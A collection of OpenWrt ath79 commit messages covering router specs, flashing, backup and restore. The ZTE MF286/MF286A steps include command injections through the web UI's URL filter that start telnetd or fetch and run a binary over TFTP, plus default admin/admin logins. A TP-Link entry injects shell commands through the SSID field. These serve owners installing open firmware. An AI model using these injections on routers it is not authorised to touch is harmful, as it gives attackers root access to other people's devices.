These were present in ar71xx but overlooked when porting to ath79.
Fixes: 480bf28273 ("ath79: add support for Buffalo WZR-HP-AG300H")
Signed-off-by: Jeffery To <jeffery.to@gmail.com>
The MikroTik RouterBOARD mAPL-2nd (sold as mAP Lite) is a small
2.4 GHz 802.11b/g/n PoE-capable AP.
See https://mikrotik.com/product/RBmAPL-2nD for more info.
Specifications:
- SoC: Qualcomm Atheros QCA9533
- RAM: 64 MB
- Storage: 16 MB NOR
- Wireless: Atheros AR9531 (SoC) 802.11b/g/n 2x2:2, 1.5 dBi antenna
- Ethernet: Atheros AR8229 (SoC), 1x 10/100 port, 802.3af/at PoE in
- 4 user-controllable LEDs:
· 1x power (green)
· 1x user (green)
· 1x lan (green)
· 1x wlan (green)
Flashing:
TFTP boot initramfs image and then perform sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Note: following 781d4bfb39
The network setup avoids using the integrated switch and connects the
single Ethernet port directly. This way, link speed (10/100 Mbps) is
properly reported by eth0.
Signed-off-by: Thibaut VARÈNE <hacks@slashdirt.org>
In addition to the missing green LED definition, the polarity of the
amber power LED was incorrect which is fixed here.
Signed-off-by: Sven Schwermer <sven@svenschwermer.de>
TP-Link Archer A9 v6 (FCCID: TE7A9V6) is an AC1900 Wave-2 gigabit home
router based on a combination of Qualcomm QCN5502 (most likely a 4x4:4
version of the QCA9563 WiSOC), QCA9984 and QCA8337N.
The vendor's firmware content reveals that the same device might be
available on the US market under name 'Archer C90 v6'. Due to lack of
access to such hardware, support introduced in this commit was tested
only on the EU version (sold under 'Archer A9 v6' name).
Based on the information on the PL version of the vendor website, this
device has been already phased out and is no longer available.
Specifications:
- Qualcomm QCN5502 (775 MHz)
- 128 MB of RAM (DDR2)
- 16 MB of flash (SPI NOR)
- 5x Gbps Ethernet (Qualcomm QCA8337N over SGMII)
- Wi-Fi:
- 802.11b/g/n on 2.4 GHz: Qualcomm QCN5502* in 4x4:4 mode
- 802.11a/n/ac on 5 GHz: Qualcomm QCA9984 in 3x3:3 mode
- 3x non-detachable, dual-band external antennas (~3.5 dBi for 5 GHz,
~2.2 dBi for 2.4 GHz, IPEX/U.FL connectors)
- 1x internal PCB antenna for 2.4 GHz (~1.8 dBi)
- 1x USB 2.0 Type-A
- 11x LED (4x connected to QCA8337N, 7x connected to QCN5502)
- 2x button (reset, WPS)
- UART (4-pin, 2.54 mm pitch) header on PCB (not populated)
- 1x mechanical power switch
- 1x DC jack (12 V)
*) unsupported due to missing support for QCN550x in ath9k
UART system serial console notice:
The RX signal of the main SOC's UART on this device is shared with the
WPS button's GPIO. The first-stage U-Boot by default disables the RX,
resulting in a non-functional UART input.
If you press and keep 'ENTER' on the serial console during early
boot-up, the first-stage U-Boot will enable RX input.
Vendor firmware allows password-less access to the system over serial.
Flash instruction (vendor GUI):
1. It is recommended to first upgrade vendor firmware to the latest
version (1.1.1 Build 20210315 rel.40637 at the time of writing).
2. Use the 'factory' image directly in the vendor's GUI.
Flash instruction (TFTP based recovery in second-stage U-Boot):
1. Rename 'factory' image to 'ArcherA9v6_tp_recovery.bin'
2. Setup a TFTP server on your PC with IP 192.168.0.66/24.
3. Press and hold the reset button for ~5 sec while turning on power.
4. The device will download image, flash it and reboot.
Flash instruction (web based recovery in first-stage U-Boot):
1. Use 'CTRL+C' during power-up to enable CLI in first-stage U-Boot.
2. Connect a PC with IP set to 192.168.0.1 to one of the LAN ports.
3. Issue 'httpd' command and visit http://192.168.0.1 in browser.
4. Use the 'factory' image.
If you would like to restore vendor's firmware, follow one of the
recovery methods described above.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
ALFA Network Tube-2HQ is a successor of the Tube-2H/P series (EOL) which
was based on the Atheros AR9331. The new version uses Qualcomm QCA9531.
Specifications:
- Qualcomm/Atheros QCA9531 v2
- 650/400/200 MHz (CPU/DDR/AHB)
- 64 or 128 MB of RAM (DDR2)
- 16+ MB of flash (SPI NOR)
- 1x 10/100 Mbps Ethernet with passive PoE input (24 V)
(802.3at/af PoE support with optional module)
- 1T1R 2.4 GHz Wi-Fi with external PA (SE2623L, up to 27 dBm) and LNA
- 1x Type-N (male) antenna connector
- 6x LED (5x driven by GPIO)
- 1x button (reset)
- external h/w watchdog (EM6324QYSP5B, enabled by default)
- UART (4-pin, 2.00 mm pitch) header on PCB
Flash instruction:
You can use sysupgrade image directly in vendor firmware which is based
on LEDE/OpenWrt. Alternatively, you can use web recovery mode in U-Boot:
1. Configure PC with static IP 192.168.1.2/24.
2. Connect PC with one of RJ45 ports, press the reset button, power up
device, wait for first blink of all LEDs (indicates network setup),
then keep button for 3 following blinks and release it.
3. Open 192.168.1.1 address in your browser and upload sysupgrade image.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
Drop custom 'mtd-cal-data' and switch to 'nvmem-cells' based solution
for fetching radio calibration data and its MAC address.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
All the QCA9531 based boards from ALFA Network are based on the same
design and share a common DTSI: 'qca9531_alfa-network_r36a.dtsi'.
Instead of defining 'nvmem-cells' for the MAC address in every device's
DTS, move definition to the common DTSI file.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
ZTE MF286A and MF286R are indoor LTE category 6/7 CPE router with simultaneous
dual-band 802.11ac plus 802.11n Wi-Fi radios and quad-port gigabit
Ethernet switch, FXS and external USB 2.0 port.
Hardware highlights:
- CPU: QCA9563 SoC at 775MHz,
- RAM: 128MB DDR2,
- NOR Flash: MX25L1606E 2MB SPI Flash, for U-boot only,
- NAND Flash: W25N01GV 128MB SPI NAND-Flash, for all other data,
- Wi-Fi 5GHz: QCA9886 2x2 MIMO 802.11ac Wave2 radio,
- WI-Fi 2.4GHz: QCA9563 3x3 MIMO 802.11n radio,
- Switch: QCA8337v2 4-port gigabit Ethernet, with single SGMII CPU port,
- WWAN:
[MF286A] MDM9230-based category 6 internal LTE modem
[MF286R] PXA1826-based category 7 internal LTE modem
in extended mini-PCIE form factor, with 3 internal antennas and
2 external antenna connections, single mini-SIM slot.
- FXS: one external ATA port (handled entirely by modem part) with two
physical connections in parallel,
- USB: Single external USB 2.0 port,
- Switches: power switch, WPS, Wi-Fi and reset buttons,
- LEDs: Wi-Fi, Test (internal). Rest of LEDs (Phone, WWAN, Battery,
Signal state) handled entirely by modem. 4 link status LEDs handled by
the switch on the backside.
- Battery: 3Ah 1-cell Li-Ion replaceable battery, with charging and
monitoring handled by modem.
- Label MAC device: eth0
The device shares many components with previous model, MF286, differing
mostly by a Wave2 5GHz radio, flash layout and internal LED color.
In case of MF286A, the modem is the same as in MF286. MF286R uses a
different modem based on Marvell PXA1826 chip.
Internal modem of MF286A is supported via uqmi, MF286R modem isn't fully
supported, but it is expected to use comgt-ncm for connection, as it
uses standard 3GPP AT commands for connection establishment.
Console connection: connector X2 is the console port, with the following
pinout, starting from pin 1, which is the topmost pin when the board is
upright:
- VCC (3.3V). Do not use unless you need to source power for the
converer from it.
- TX
- RX
- GND
Default port configuration in U-boot as well as in stock firmware is
115200-8-N-1.
Installation:
Due to different flash layout from stock firmware, sysupgrade from
within stock firmware is impossible, despite it's based on QSDK which
itself is based on OpenWrt.
STEP 0: Stock firmware update:
As installing OpenWrt cuts you off from official firmware updates for
the modem part, it is recommended to update the stock firmware to latest
version before installation, to have built-in modem at the latest firmware
version.
STEP 1: gaining root shell:
Method 1:
This works if busybox has telnetd compiled in the binary.
If this does not work, try method 2.
Using well-known exploit to start telnetd on your router - works
only if Busybox on stock firmware has telnetd included:
- Open stock firmware web interface
- Navigate to "URL filtering" section by going to "Advanced settings",
then "Firewall" and finally "URL filter".
- Add an entry ending with "&&telnetd&&", for example
"http://hostname/&&telnetd&&".
- telnetd will immediately listen on port 4719.
- After connecting to telnetd use "admin/admin" as credentials.
Method 2:
This works if busybox does not have telnetd compiled in. Notably, this
is the case in DNA.fi firmware.
If this does not work, try method 3.
- Set IP of your computer to 192.168.0.22. (or appropriate subnet if
changed)
- Have a TFTP server running at that address
- Download MIPS build of busybox including telnetd, for example from:
https://busybox.net/downloads/binaries/1.21.1/busybox-mips
and put it in it's root directory. Rename it as "telnetd".
- As previously, login to router's web UI and navigate to "URL
filtering"
- Using "Inspect" feature, extend "maxlength" property of the input
field named "addURLFilter", so it looks like this:
<input type="text" name="addURLFilter" id="addURLFilter" maxlength="332"
class="required form-control">
- Stay on the page - do not navigate anywhere
- Enter "http://aa&zte_debug.sh 192.168.0.22 telnetd" as a filter.
- Save the settings. This will download the telnetd binary over tftp and
execute it. You should be able to log in at port 23, using
"admin/admin" as credentials.
Method 3:
If the above doesn't work, use the serial console - it exposes root shell
directly without need for login. Some stock firmwares, notably one from
finnish DNA operator lack telnetd in their builds.
STEP 2: Backing up original software:
As the stock firmware may be customized by the carrier and is not
officially available in the Internet, IT IS IMPERATIVE to back up the
stock firmware, if you ever plan to returning to stock firmware.
It is highly recommended to perform backup using both methods, to avoid
hassle of reassembling firmware images in future, if a restore is
needed.
Method 1: after booting OpenWrt initramfs image via TFTP:
PLEASE NOTE: YOU CANNOT DO THIS IF USING INTERMEDIATE FIRMWARE FOR INSTALLATION.
- Dump stock firmware located on stock kernel and ubi partitions:
ssh root@192.168.1.1: cat /dev/mtd4 > mtd4_kernel.bin
ssh root@192.168.1.1: cat /dev/mtd9 > mtd9_ubi.bin
And keep them in a safe place, should a restore be needed in future.
Method 2: using stock firmware:
- Connect an external USB drive formatted with FAT or ext4 to the USB
port.
- The drive will be auto-mounted to /var/usb_disk
- Check the flash layout of the device:
cat /proc/mtd
It should show the following:
mtd0: 000a0000 00010000 "u-boot"
mtd1: 00020000 00010000 "u-boot-env"
mtd2: 00140000 00010000 "reserved1"
mtd3: 000a0000 00020000 "fota-flag"
mtd4: 00080000 00020000 "art"
mtd5: 00080000 00020000 "mac"
mtd6: 000c0000 00020000 "reserved2"
mtd7: 00400000 00020000 "cfg-param"
mtd8: 00400000 00020000 "log"
mtd9: 000a0000 00020000 "oops"
mtd10: 00500000 00020000 "reserved3"
mtd11: 00800000 00020000 "web"
mtd12: 00300000 00020000 "kernel"
mtd13: 01a00000 00020000 "rootfs"
mtd14: 01900000 00020000 "data"
mtd15: 03200000 00020000 "fota"
mtd16: 01d00000 00020000 "firmware"
Differences might indicate that this is NOT a MF286A device but
one of other variants.
- Copy over all MTD partitions, for example by executing the following:
for i in 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15; do cat /dev/mtd$i > \
/var/usb_disk/mtd$i; done
"Firmware" partition can be skipped, it is a concatenation
of "kernel" and "rootfs".
- If the count of MTD partitions is different, this might indicate that
this is not a MF286A device, but one of its other variants.
- (optionally) rename the files according to MTD partition names from
/proc/mtd
- Unmount the filesystem:
umount /var/usb_disk; sync
and then remove the drive.
- Store the files in safe place if you ever plan to return to stock
firmware. This is especially important, because stock firmware for
this device is not available officially, and is usually customized by
the mobile providers.
STEP 3: Booting initramfs image:
Method 1: using serial console (RECOMMENDED):
- Have TFTP server running, exposing the OpenWrt initramfs image, and
set your computer's IP address as 192.168.0.22. This is the default
expected by U-boot. You may wish to change that, and alter later
commands accordingly.
- Connect the serial console if you haven't done so already,
- Interrupt boot sequence by pressing any key in U-boot when prompted
- Use the following commands to boot OpenWrt initramfs through TFTP:
setenv serverip 192.168.0.22
setenv ipaddr 192.168.0.1
tftpboot 0x81000000 openwrt-ath79-nand-zte_mf286a-initramfs-kernel.bin
bootm 0x81000000
(Replace server IP and router IP as needed). There is no emergency
TFTP boot sequence triggered by buttons, contrary to MF283+.
- When OpenWrt initramfs finishes booting, proceed to actual
installation.
Method 2: using initramfs image as temporary boot kernel
This exploits the fact, that kernel and rootfs MTD devices are
consecutive on NAND flash, so from within stock image, an initramfs can
be written to this area and booted by U-boot on next reboot, because it
uses "nboot" command which isn't limited by kernel partition size.
- Download the initramfs-kernel.bin image
- After backing up the previous MTD contents, write the images to the
"firmware" MTD device, which conveniently concatenates "kernel" and
"rootfs" partitions that can fit the initramfs image:
nandwrite -p /dev/<firmware-mtd> \
/var/usb_disk/openwrt-ath79-zte_mf286a-initramfs-kernel.bin
- If write is OK, reboot the device, it will reboot to OpenWrt
initramfs:
reboot -f
- After rebooting, SSH into the device and use sysupgrade to perform
proper installation.
Method 3: using built-in TFTP recovery (LAST RESORT):
- With that method, ensure you have complete backup of system's NAND
flash first. It involves deliberately erasing the kernel.
- Download "-initramfs-kernel.bin" image for the device.
- Prepare the recovery image by prepending 8MB of zeroes to the image,
and name it root_uImage:
dd if=/dev/zero of=padding.bin bs=8M count=1
cat padding.bin openwrt-ath79-nand-zte_mf286a-initramfs-kernel.bin >
root_uImage
- Set up a TFTP server at 192.0.0.1/8. Router will use random address
from that range.
- Put the previously generated "root_uImage" into TFTP server root
directory.
- Deliberately erase "kernel" partition" using stock firmware after
taking backup. THIS IS POINT OF NO RETURN.
- Restart the device. U-boot will attempt flashing the recovery
initramfs image, which will let you perform actual installation using
sysupgrade. This might take a considerable time, sometimes the router
doesn't establish Ethernet link properly right after booting. Be
patient.
- After U-boot finishes flashing, the LEDs of switch ports will all
light up. At this moment, perform power-on reset, and wait for OpenWrt
initramfs to finish booting. Then proceed to actual installation.
STEP 4: Actual installation:
- Set your computer IP to 192.168.1.22/24
- scp the sysupgrade image to the device:
scp openwrt-ath79-nand-zte_mf286a-squashfs-sysupgrade.bin \
root@192.168.1.1:/tmp/
- ssh into the device and execute sysupgrade:
sysupgrade -n /tmp/openwrt-ath79-nand-zte_mf286a-squashfs-sysupgrade.bin
- Wait for router to reboot to full OpenWrt.
STEP 5: WAN connection establishment
Since the router is equipped with LTE modem as its main WAN interface, it
might be useful to connect to the Internet right away after
installation. To do so, please put the following entries in
/etc/config/network, replacing the specific configuration entries with
one needed for your ISP:
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'
option auth '<auth>' # As required, usually 'none'
option pincode '<pin>' # If required by SIM
option apn '<apn>' # As required by ISP
option pdptype '<pdp>' # Typically 'ipv4', or 'ipv4v6' or 'ipv6'
For example, the following works for most polish ISPs
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'
option auth 'none'
option apn 'internet'
option pdptype 'ipv4'
The required minimum is:
config interface 'wan'
option proto 'qmi'
option device '/dev/cdc-wdm0'
In this case, the modem will use last configured APN from stock
firmware - this should work out of the box, unless your SIM requires
PIN which can't be switched off.
If you have build with LuCI, installing luci-proto-qmi helps with this
task.
Restoring the stock firmware:
Preparation:
If you took your backup using stock firmware, you will need to
reassemble the partitions into images to be restored onto the flash. The
layout might differ from ISP to ISP, this example is based on generic stock
firmware
The only partitions you really care about are "web", "kernel", and
"rootfs". These are required to restore the stock firmware through
factory TFTP recovery.
Because kernel partition was enlarged, compared to stock
firmware, the kernel and rootfs MTDs don't align anymore, and you need
to carve out required data if you only have backup from stock FW:
- Prepare kernel image
cat mtd12_kernel.bin mtd13_rootfs.bin > owrt_kernel.bin
truncate -s 4M owrt_kernel_restore.bin
- Cut off first 1MB from rootfs
dd if=mtd13_rootfs.bin of=owrt_rootfs.bin bs=1M skip=1
- Prepare image to write to "ubi" meta-partition:
cat mtd6_reserved2.bi mtd7_cfg-param.bin mtd8_log.bin mtd9_oops.bin \
mtd10_reserved3.bin mtd11_web.bin owrt_rootfs.bin > \
owrt_ubi_ubi_restore.bin
You can skip the "fota" partition altogether,
it is used only for stock firmware update purposes and can be overwritten
safely anyway. The same is true for "data" partition which on my device
was found to be unused at all. Restoring mtd5_cfg-param.bin will restore
the stock firmware configuration you had before.
Method 1: Using initramfs:
This method is recmmended if you took your backup from within OpenWrt
initramfs, as the reassembly is not needed.
- Boot to initramfs as in step 3:
- Completely detach ubi0 partition using ubidetach /dev/ubi0_0
- Look up the kernel and ubi partitions in /proc/mtd
- Copy over the stock kernel image using scp to /tmp
- Erase kernel and restore stock kernel:
(scp mtd4_kernel.bin root@192.168.1.1:/tmp/)
mtd write <kernel_mtd> mtd4_kernel.bin
rm mtd4_kernel.bin
- Copy over the stock partition backups one-by-one using scp to /tmp, and
restore them individually. Otherwise you might run out of space in
tmpfs:
(scp mtd3_ubiconcat0.bin root@192.168.1.1:/tmp/)
mtd write <ubiconcat0_mtd> mtd3_ubiconcat0.bin
rm mtd3_ubiconcat0.bin
(scp mtd5_ubiconcat1.bin root@192.168.1.1:/tmp/)
mtd write <ubiconcat1_mtd> mtd5_ubiconcat1.bin
rm mtd5_ubiconcat1.bin
- If the write was correct, force a device reboot with
reboot -f
Method 2: Using live OpenWrt system (NOT RECOMMENDED):
- Prepare a USB flash drive contatining MTD backup files
- Ensure you have kmod-usb-storage and filesystem driver installed for
your drive
- Mount your flash drive
mkdir /tmp/usb
mount /dev/sda1 /tmp/usb
- Remount your UBI volume at /overlay to R/O
mount -o remount,ro /overlay
- Write back the kernel and ubi partitions from USB drive
cd /tmp/usb
mtd write mtd4_kernel.bin /dev/<kernel_mtd>
mtd write mtd9_ubi.bin /dev/<kernel_ubi>
- If everything went well, force a device reboot with
reboot -f
Last image may be truncated a bit due to lack of space in RAM, but this will happen over "fota"
MTD partition which may be safely erased after reboot anyway.
Method 3: using built-in TFTP recovery:
This method is recommended if you took backups using stock firmware.
- Assemble a recovery rootfs image from backup of stock partitions by
concatenating "web", "kernel", "rootfs" images dumped from the device,
as "root_uImage"
- Use it in place of "root_uImage" recovery initramfs image as in the
TFTP pre-installation method.
Quirks and known issuesa
- It was observed, that CH340-based USB-UART converters output garbage
during U-boot phase of system boot. At least CP2102 is known to work
properly.
- Kernel partition size is increased to 4MB compared to stock 3MB, to
accomodate future kernel updates - at this moment OpenWrt 5.10 kernel
image is at 2.5MB which is dangerously close to the limit. This has no
effect on booting the system - but keep that in mind when reassembling
an image to restore stock firmware.
- uqmi seems to be unable to change APN manually, so please use the one
you used before in stock firmware first. If you need to change it,
please use protocok '3g' to establish connection once, or use the
following command to change APN (and optionally IP type) manually:
echo -ne 'AT+CGDCONT=1,"IP","<apn>' > /dev/ttyUSB0
- The only usable LED as a "system LED" is the blue debug LED hidden
inside the case. All other LEDs are controlled by modem, on which the
router part has some influence only on Wi-Fi LED.
- Wi-Fi LED currently doesn't work while under OpenWrt, despite having
correct GPIO mapping. All other LEDs are controlled by modem,
including this one in stock firmware. GPIO19, mapped there only acts
as a gate, while the actual signal source seems to be 5GHz Wi-Fi
radio, however it seems it is not the LED exposed by ath10k as
ath10k-phy0.
- GPIO5 used for modem reset is a suicide switch, causing a hardware
reset of whole board, not only the modem. It is attached to
gpio-restart driver, to restart the modem on reboot as well, to ensure
QMI connectivity after reboot, which tends to fail otherwise.
- Modem, as in MF283+, exposes root shell over ADB - while not needed
for OpenWrt operation at all - have fun lurking around.
The same modem module is used as in older MF286.
Signed-off-by: Lech Perczak <lech.perczak@gmail.com>
The Zyxel EMG2926-Q10A is 99% the Zyxel NBG6716, but the bootloader
expects a different product name when flashing over TFTP. Also, the
EMG2926-Q10A always has 128 MiB of NAND flash whereas the NBG6716
reportedly can have either 128 MiB or 256 MiB.
Signed-off-by: Alex Henrie <alexhenrie24@gmail.com>
The 'BOARDNAME' variable is part of target configuration and shouldn't
be part of a device's image recipe.
Signed-off-by: Piotr Dymacz <pepe2k@gmail.com>
The LED and LAN port numbering on the case of wndr4500v3 devices are
reversed relative to the wndr4300v2. I created this patch to so that the
ordering in OpenWRT will be consistent with that.
Signed-off-by: Graham Cole <diakka@gmail.com>
mtd-mac-address should no longer be used after commit 5ae2e78639
("kernel: drop support for mtd-mac-address"). Convert it to nvmem-cells.
While at it, also convert OpenWrt's custom mtd-cal-data property and
userspace pre-calibration data extraction to the nvmem implementation.
Note: nvmem-cells in QCN5502 wmac has not been tested.
Fixes: c32008a37b ("ath79: add partial support for Netgear EX7300v2")
Signed-off-by: Sungbo Eo <mans0n@gorani.run>
Switch to a generic GPIO cascade driver.
Signed-off-by: Mauri Sandberg <maukka@ext.kapsi.fi>
Signed-off-by: Petr Štetiar <ynezz@true.cz> [missing commit description]
The MikroTik LHG 5 series (product codes RBLHG-5nD, RBLHG-5HPnD and
RBLHG-5HPnD-XL) devices are an outdoor 5GHz CPE with a 24.5dBi or 27dBi
integrated antenna built around the Atheros AR9344 SoC.
It is very similar to the SXT Lite5 series which this patch is based
upon.
Specifications:
- SoC: Atheros AR9344
- RAM: 64 MB
- Storage: 16 MB SPI NOR
- Wireless: Atheros AR9340 (SoC) 802.11a/n 2x2:2
- Ethernet: Atheros AR8229 switch (SoC), 1x 10/100 port,
8-32 Vdc PoE in
- 8 user-controllable LEDs:
- 1x power (blue)
- 1x user (white)
- 1x ethernet (green)
- 5x rssi (green)
See https://mikrotik.com/product/RBLHG-5nD for more details.
Notes:
The device was already supported in the ar71xx target.
Flashing:
TFTP boot initramfs image and then perform a sysupgrade. Follow common
MikroTik procedure as in https://openwrt.org/toh/mikrotik/common.
Signed-off-by: Jakob Riepler <jakob+openwrt@chaosfield.at>
Hardware
--------
SoC: QCN5502
Flash: 16 MiB
RAM: 128 MiB
Ethernet: 1 gigabit port
Wireless No1: QCN5502 on-chip 2.4GHz 4x4
Wireless No2: QCA9984 pcie 5GHz 4x4
USB: none
Installation
------------
Flash the factory image using the stock web interface or TFTP the
factory image to the bootloader.
What works
----------
- LEDs
- Ethernet port
- 5GHz wifi (QCA9984 pcie)
What doesn't work
-----------------
- 2.4GHz wifi (QCN5502 on-chip)
(I was not able to make this work, probably because ath9k requires
some changes to support QCN5502.)
Signed-off-by: Wenli Looi <wlooi@ucalgary.ca>
Based on wikidevi, QCN5502 is a "Dragonfly" like QCA9561 and QCA9563.
Treating it as QCA956x seems to work.
Signed-off-by: Wenli Looi <wlooi@ucalgary.ca>
Specifications:
- AR9344 SoC, 8 MB nor flash, 64 MB DDR2 RAM
- 2x2 9dBi antenna, wifi 2.4Ghz 300Mbps
- 4x Ethernet LAN 10/100, 1x Ethernet WAN 10/100
- 1x WAN, 4x LAN, Wifi, PWR, WPS, SYSTEM Leds
- Reset/WPS button
- Serial UART at J4 onboard: 3.3v GND RX TX, 1152008N1
MAC addresses as verified by OEM firmware:
vendor OpenWrt address
LAN eth0 label
WAN eth1 label + 1
WLAN phy0 label
The label MAC address was found in u-boot 0x1fc00.
Installation:
To install openwrt,
- set the device's SSID to each of the following lines,
making sure to include the backticks.
- set the ssid and click save between each line.
`echo "httpd -k"> /tmp/s`
`echo "sleep 10">> /tmp/s`
`echo "httpd -r&">> /tmp/s`
`echo "sleep 10">> /tmp/s`
`echo "httpd -k">> /tmp/s`
`echo "sleep 10">> /tmp/s`
`echo "httpd -f">> /tmp/s`
`sh /tmp/s`
- Now, wait 60 sec.
- After the reboot sequence, the router may have fallen back to
its default IP address with the default credentials (admin:admin).
- Log in to the web interface and go the the firmware upload page.
Select "openwrt-ath79-generic-tplink_tl-wr841hp-v2-squashfs-factory.bin"
and you're done : the system now accepts the openwrt.
Forum support topic:
https://forum.openwrt.org/t/support-for-tplink-tl-wr841hp-v2/69445/
Signed-off-by: Saiful Islam <si87868@gmail.com>
ZTE MF286 is an indoor LTE category 6 CPE router with simultaneous
dual-band 802.11ac plus 802.11n Wi-Fi radios and quad-port gigabit
Ethernet switch, FXS and external USB 2.0 port.
Hardware highlights:
- CPU: QCA9563 SoC at 775MHz,
- RAM: 128MB DDR2,
- NOR Flash: MX25L1606E 2MB SPI Flash, for U-boot only,
- NAND Flash: GD5F1G04UBYIG 128MB SPI NAND-Flash, for all other data,
- Wi-Fi 5GHz: QCA9882 2x2 MIMO 802.11ac radio,
- WI-Fi 2.4GHz: QCA9563 3x3 MIMO 802.11n radio,
- Switch: QCA8337v2 4-port gigabit Ethernet, with single SGMII CPU port,
- WWAN: MDM9230-based category 6 internal LTE modem in extended
mini-PCIE form factor, with 3 internal antennas and 2 external antenna
connections, single mini-SIM slot. Modem model identified as MF270,
- FXS: one external ATA port (handled entirely by modem part) with two
physical connections in parallel,
- USB: Single external USB 2.0 port,
- Switches: power switch, WPS, Wi-Fi and reset buttons,
- LEDs: Wi-Fi, Test (internal). Rest of LEDs (Phone, WWAN, Battery,
Signal state) handled entirely by modem. 4 link status LEDs handled by
the switch on the backside.
- Battery: 3Ah 1-cell Li-Ion replaceable battery, with charging and
monitoring handled by modem.
- Label MAC device: eth0
Console connection: connector X2 is the console port, with the following
pinout, starting from pin 1, which is the topmost pin when the board is
upright:
- VCC (3.3V). Do not use unless you need to source power for the
converer from it.
- TX
- RX
- GND
Default port configuration in U-boot as well as in stock firmware is
115200-8-N-1.
Installation:
Due to different flash layout from stock firmware, sysupgrade from
within stock firmware is impossible, despite it's based on QSDK which
itself is based on OpenWrt.
STEP 0: Stock firmware update:
As installing OpenWrt cuts you off from official firmware updates for
the modem part, it is recommended to update the stock firmware to latest
version before installation, to have built-in modem at the latest firmware
version.
STEP 1: gaining root shell:
Method 1:
This works if busybox has telnetd compiled in the binary.
If this does not work, try method 2.
Using well-known exploit to start telnetd on your router - works
only if Busybox on stock firmware has telnetd included:
- Open stock firmware web interface
- Navigate to "URL filtering" section by going to "Advanced settings",
then "Firewall" and finally "URL filter".
- Add an entry ending with "&&telnetd&&", for example
"http://hostname/&&telnetd&&".
- telnetd will immediately listen on port 4719.
- After connecting to telnetd use "admin/admin" as credentials.
Method 2:
This works if busybox does not have telnetd compiled in. Notably, this
is the case in DNA.fi firmware.
If this does not work, try method 3.
- Set IP of your computer to 192.168.1.22.
- Have a TFTP server running at that address
- Download MIPS build of busybox including telnetd, for example from:
https://busybox.net/downloads/binaries/1.21.1/busybox-mips
and put it in it's root directory. Rename it as "telnetd".
- As previously, login to router's web UI and navigate to "URL
filtering"
- Using "Inspect" feature, extend "maxlength" property of the input
field named "addURLFilter", so it looks like this:
<input type="text" name="addURLFilter" id="addURLFilter" maxlength="332"
class="required form-control">
- Stay on the page - do not navigate anywhere
- Enter "http://aa&zte_debug.sh 192.168.1.22 telnetd" as a filter.
- Save the settings. This will download the telnetd binary over tftp and
execute it. You should be able to log in at port 23, using
"admin/admin" as credentials.
Method 3:
If the above doesn't work, use the serial console - it exposes root shell
directly without need for login. Some stock firmwares, notably one from
finnish DNA operator lack telnetd in their builds.
STEP 2: Backing up original software:
As the stock firmware may be customized by the carrier and is not
officially available in the Internet, IT IS IMPERATIVE to back up the
stock firmware, if you ever plan to returning to stock firmware.
Method 1: after booting OpenWrt initramfs image via TFTP:
PLEASE NOTE: YOU CANNOT DO THIS IF USING INTERMEDIATE FIRMWARE FOR INSTALLATION.
- Dump stock firmware located on stock kernel and ubi partitions:
ssh root@192.168.1.1: cat /dev/mtd4 > mtd4_kernel.bin
ssh root@192.168.1.1: cat /dev/mtd8 > mtd8_ubi.bin
And keep them in a safe place, should a restore be needed in future.
Method 2: using stock firmware:
- Connect an external USB drive formatted with FAT or ext4 to the USB
port.
- The drive will be auto-mounted to /var/usb_disk
- Check the flash layout of the device:
cat /proc/mtd
It should show the following:
mtd0: 00080000 00010000 "uboot"
mtd1: 00020000 00010000 "uboot-env"
mtd2: 00140000 00020000 "fota-flag"
mtd3: 00140000 00020000 "caldata"
mtd4: 00140000 00020000 "mac"
mtd5: 00600000 00020000 "cfg-param"
mtd6: 00140000 00020000 "oops"
mtd7: 00800000 00020000 "web"
mtd8: 00300000 00020000 "kernel"
mtd9: 01f00000 00020000 "rootfs"
mtd10: 01900000 00020000 "data"
mtd11: 03200000 00020000 "fota"
Differences might indicate that this is NOT a vanilla MF286 device but
one of its later derivatives.
- Copy over all MTD partitions, for example by executing the following:
for i in 0 1 2 3 4 5 6 7 8 9 10 11; do cat /dev/mtd$i > \
/var/usb_disk/mtd$i; done
- If the count of MTD partitions is different, this might indicate that
this is not a standard MF286 device, but one of its later derivatives.
- (optionally) rename the files according to MTD partition names from
/proc/mtd
- Unmount the filesystem:
umount /var/usb_disk; sync
and then remove the drive.
- Store the files in safe place if you ever plan to return to stock
firmware. This is especially important, because stock firmware for
this device is not available officially, and is usually customized by
the mobile providers.
STEP 3: Booting initramfs image:
Method 1: using serial console (RECOMMENDED):
- Have TFTP server running, exposing the OpenWrt initramfs image, and
set your computer's IP address as 192.168.1.22. This is the default
expected by U-boot. You may wish to change that, and alter later
commands accordingly.
- Connect the serial console if you haven't done so already,
- Interrupt boot sequence by pressing any key in U-boot when prompted
- Use the following commands to boot OpenWrt initramfs through TFTP:
setenv serverip 192.168.1.22
setenv ipaddr 192.168.1.1
tftpboot 0x81000000 openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin
bootm 0x81000000
(Replace server IP and router IP as needed). There is no emergency
TFTP boot sequence triggered by buttons, contrary to MF283+.
- When OpenWrt initramfs finishes booting, proceed to actual
installation.
Method 2: using initramfs image as temporary boot kernel
This exploits the fact, that kernel and rootfs MTD devices are
consecutive on NAND flash, so from within stock image, an initramfs can
be written to this area and booted by U-boot on next reboot, because it
uses "nboot" command which isn't limited by kernel partition size.
- Download the initramfs-kernel.bin image
- Split the image into two parts on 3MB partition size boundary, which
is the size of kernel partition. Pad the output of second file to
eraseblock size:
dd if=openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin \
bs=128k count=24 \
of=openwrt-ath79-zte_mf286-intermediate-kernel.bin
dd if=openwrt-ath79-nand-zte_mf286-initramfs-kernel.bin \
bs=128k skip=24 conv=sync \
of=openwrt-ath79-zte_mf286-intermediate-rootfs.bin
- Copy over /usr/bin/flash_eraseall and /usr/bin/nandwrite utilities to
/tmp. This is CRITICAL for installation, as erasing rootfs will cut
you off from those tools on flash!
- After backing up the previous MTD contents, write the images to the
respective MTD devices:
/tmp/flash_eraseall /dev/<kernel-mtd>
/tmp/nandwrite /dev/<kernel-mtd> \
/var/usb_disk/openwrt-ath79-zte_mf286-intermediate-kernel.bin
/tmp/flash_eraseall /dev/<kernel-mtd>
